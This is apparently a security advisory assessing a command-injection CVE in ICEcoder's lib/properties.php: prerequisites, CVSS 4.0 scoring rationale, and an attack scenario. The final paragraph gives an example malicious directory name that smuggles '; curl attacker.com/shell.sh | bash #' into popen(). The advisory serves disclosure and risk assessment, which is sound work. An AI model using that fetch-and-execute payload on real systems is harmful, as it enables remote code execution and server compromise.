ICEcoder CVE-2026-64837

Exploitation requires a valid ICEcoder login (low-privilege authenticated user, consistent with PR:L in the CVSS vector). The attacker must be able to create or name directories on the server's filesystem through the ICEcoder interface - a capability inherent to any user with write access in the editor. The vulnerability is triggered specifically by accessing the Properties function for a directory whose name contains shell metacharacters. No non-default configuration is required; the flaw exists in the standard code path of lib/properties.php. Exploitation is limited to the web-server user's OS privilege level; root access or secondary privilege escalation would require additional exploitation steps beyond this CVE.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.7 and reflects the core risk accurately: network-accessible, low complexity, no special preconditions (AT:N), but requiring low-privilege authentication (PR:L), which materially limits the exposed attack surface compared to an unauthenticated flaw. The high C/I/A impact on the vulnerable system is consistent with arbitrary command execution as the web-server user. The scope change metrics (SC/SI/SA all N) are appropriate - exploitation stays within the web-server process boundary absent secondary privilege escalation. The absence of a KEV listing and no independently confirmed public exploit code (though a detailed advisory with source line references exists) keeps real-world urgency moderate. ICEcoder is a niche product with low enterprise deployment footprint, further reducing aggregate risk. The primary concern is for organizations that expose ICEcoder to any non-fully-trusted user, including internal developer teams with mixed trust levels, as any authenticated account suffices for exploitation.

An authenticated ICEcoder user creates a directory named with embedded shell metacharacters - for example, a name containing '; curl attacker.com/shell.sh | bash #' - using the editor's file management interface. When the user (or an attacker) then accesses the Properties function for that directory, lib/properties.php passes the path unsanitized to popen(), causing the shell to execute the injected commands. The injected payload runs as the web-server user (e.g., www-data), enabling arbitrary file access, reverse shell establishment, or lateral movement within the server environment.